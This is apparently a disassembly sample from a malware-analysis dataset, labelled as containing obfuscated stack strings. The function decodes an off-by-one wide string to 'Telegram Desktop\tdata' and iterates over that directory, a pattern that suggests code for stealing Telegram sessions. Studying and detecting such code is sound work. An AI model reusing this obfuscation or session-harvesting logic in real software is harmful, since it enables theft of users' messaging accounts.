Function at 0x10017660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b1e12
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x100df300]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xd8], 0
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x8c], 0x660055
mov dword [ebp - 0x88], 0x66006d
mov dword [ebp - 0x84], 0x730068
mov dword [ebp - 0x80], 0x6e0062
mov dword [ebp - 0x7c], 0x450021
mov dword [ebp - 0x78], 0x740066
mov dword [ebp - 0x74], 0x75006c
mov dword [ebp - 0x70], 0x710070
mov dword [ebp - 0x6c], 0x75005d
mov dword [ebp - 0x68], 0x620065
mov dword [ebp - 0x64], 0x620075
mov word [ebp - 0x60], ax
mov byte [ebp - 4], 2
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
push eax
mov dword [ebp - 0xd8], 0x100
mov dword [ebp - 0xdc], 0x1f
call fcn.1000f950
mov ecx, dword [ebp - 0xdc]
lea esi, [ebp - 0x8c]
mov dword [ebp - 0x18], ecx
add esp, 8
mov cx, word [ebp - 0x2c]
mov word [eax], cx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], 0
nop
mov ax, word [esi]
lea ecx, [ebp - 0x2c]
dec ax
movzx eax, ax
push eax
call fcn.1000b550
add esi, 2
lea eax, [ebp - 0x60]
cmp esi, eax
jne 0x10017760
movups xmm0, xmmword [ebp - 0x2c]
xor eax, eax
mov word [ebp - 0x2c], ax
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [ebp - 0x1c]
movq qword [ebp - 0x34], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
lea eax, [ebp + 8]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0xa4]
call fcn.1000b850
lea eax, [ebp - 0x44]
mov dword [ebp - 0xd8], 0x300
push eax
lea ecx, [ebp - 0xa4]
call fcn.10005470
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x1001780b
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017801
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e28
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x34], 0
mov edi, 0x200
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
mov dword [ebp - 0xd8], edi
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x10017868
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1001785e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e28
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
call fcn.10012bf0
test al, al
je 0x10017d2b
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
push ecx
lea edx, [ebp - 0xa4]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe8]
call fcn.1000dfd0
add esp, 4
test eax, eax
jne 0x10017e2d
mov esi, dword [ebp - 0xe4]
test esi, esi
je 0x100178d2
lock inc dword [esi + 4]
mov eax, dword [ebp - 0xe8]
mov ecx, esi
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], ecx
test esi, esi
je 0x100178ee
lock inc dword [esi + 4]
xor ecx, ecx
xorps xmm0, xmm0
movlpd qword [ebp - 0xf0], xmm0
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
test esi, esi
je 0x10017938
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x10017932
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x1001792c
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xe8]
or esi, 0xffffffff
mov byte [ebp - 4], 0xa
nop
cmp eax, ecx
je 0x10017cd5
lea esi, [eax + 0x20]
mov byte [ebp - 4], 0xb
mov ecx, esi
mov dword [ebp - 0xdc], esi
call fcn.10012bf0
test al, al
je 0x10017b97
lea eax, [ebp - 0x44]
mov ecx, esi
push eax
call fcn.10012320
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0xc
call fcn.1000b850
or edi, 8
mov dword [ebp - 0xd8], edi
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x100179c3
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100179b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e40
push ecx
push edx
call fcn.10075468
add esp, 8
mov edx, dword [ebp - 0x4c]
lea esi, [ebp - 0x5c]
xor eax, eax
mov dword [ebp - 0x34], 0
cmp dword [ebp - 0x48], 7
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x5c]
cmova esi, dword [ebp - 0x5c]
seta cl
test cl, cl
mov dword [ebp - 0x30], 7
mov ecx, dword [ebp - 0x5c]
cmovne eax, ecx
lea eax, [eax + edx*2]
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0xe0], eax
cmp esi, eax
je 0x10017a28
movzx eax, word [esi]
push eax
call fcn.10082a99
add esp, 4
test eax, eax
jne 0x10017b53
add esi, 2
cmp esi, dword [ebp - 0xe0]
jne 0x10017a03
mov edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x5c]
push dword [ebp - 0x4c]
cmp edx, 7
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x18], 0
cmova eax, ecx
xorps xmm0, xmm0
push eax
lea ecx, [ebp - 0x2c]
movups xmmword [ebp - 0x2c], xmm0
call fcn.1000e6a0
or edi, 0x1800
mov dword [ebp - 0xd8], edi
lea eax, [ebp + 0x20]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0xbc]
call fcn.1000b850
lea eax, [ebp - 0x2c]
or edi, 0x400
push eax
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0xd8], edi
call fcn.10005470
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x10017aca
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017ac0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e45
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
call fcn.10006800
mov esi, dword [ebp - 0xdc]
lea edx, [ebp - 0xbc]
push 0x10
mov ecx, esi
call fcn.10013650
and edi, 0xfffffbff
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0xa8]
add esp, 4
mov dword [ebp - 0xd8], edi
cmp ecx, 7
jbe 0x10017b59
mov edx, dword [ebp - 0xbc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017b47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e4a
push ecx
push edx
call fcn.10075468
add esp, 8
jmp 0x10017b59
mov esi, dword [ebp - 0xdc]
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x48]
cmp ecx, 7
jbe 0x10017b97
mov edx, dword [ebp - 0x5c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017b8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e4f
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, esi
call fcn.10012c80
test al, al
je 0x10017c9a
lea eax, [ebp - 0x44]
mov ecx, esi
push eax
call fcn.10012320
mov dword [ebp - 0xe0], eax
lea eax, [ebp + 0x20]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0xd4]
call fcn.1000b850
push dword [ebp - 0xe0]
or edi, 0x80
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xd8], edi
call fcn.10005470
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x10017c25
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017c1b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e54
push ecx
push edx
call fcn.10075468
add esp, 8
xor eax, eax
mov dword [ebp - 0x34], 0
push ecx
lea edx, [ebp - 0xd4]
mov dword [ebp - 0x30], 7
mov ecx, esi
mov word [ebp - 0x44], ax
call fcn.10012ab0
and edi, 0xffffff7f
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0xc0]
add esp, 4
mov dword [ebp - 0xd8], edi
cmp ecx, 7
jbe 0x10017c9a
mov edx, dword [ebp - 0xd4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017c90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e59
push ecx
push edx
call fcn.10075468
add esp, 8
mov dword [ebp - 4], 0xa
jmp 0x10017cb6
lea ecx, [ebp - 0xf8]
or esi, 0xffffffff
call fcn.100127a0
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
jmp 0x10017940
mov ecx, dword [ebp - 0xf4]
test ecx, ecx
je 0x10017d00
mov eax, esi
lock xadd dword [ecx + 4], eax
jne 0x10017d00
mov eax, dword [ecx]
call dword [eax]
mov ecx, dword [ebp - 0xf4]
mov eax, esi
lock xadd dword [ecx + 8], eax
jne 0x10017d00
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0xe4]
test esi, esi
je 0x10017d2b
or edi, 0xffffffff
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x10017d2b
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], edi
dec edi
jne 0x10017d2b
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov ecx, dword [ebp - 0x90]
cmp ecx, 7
jbe 0x10017d6b
mov edx, dword [ebp - 0xa4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017d61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e5e
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 7
mov word [ebp - 0xa4], ax
cmp ecx, 7
jbe 0x10017dc2
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017db8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e5e
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp ecx, 7
jbe 0x10017e0c
mov edx, dword [ebp + 0x20]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10017e02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017e5e
push ecx
push edx
call fcn.10075468
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10075013
mov esp, ebp
pop ebp
ret
call fcn.100819d1
lea ecx, [ebp - 0xa4]
mov edx, eax
push ecx
mov ecx, str.directory_iterator::directory_iterator
call fcn.10005f60
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
call fcn.100819d1
int3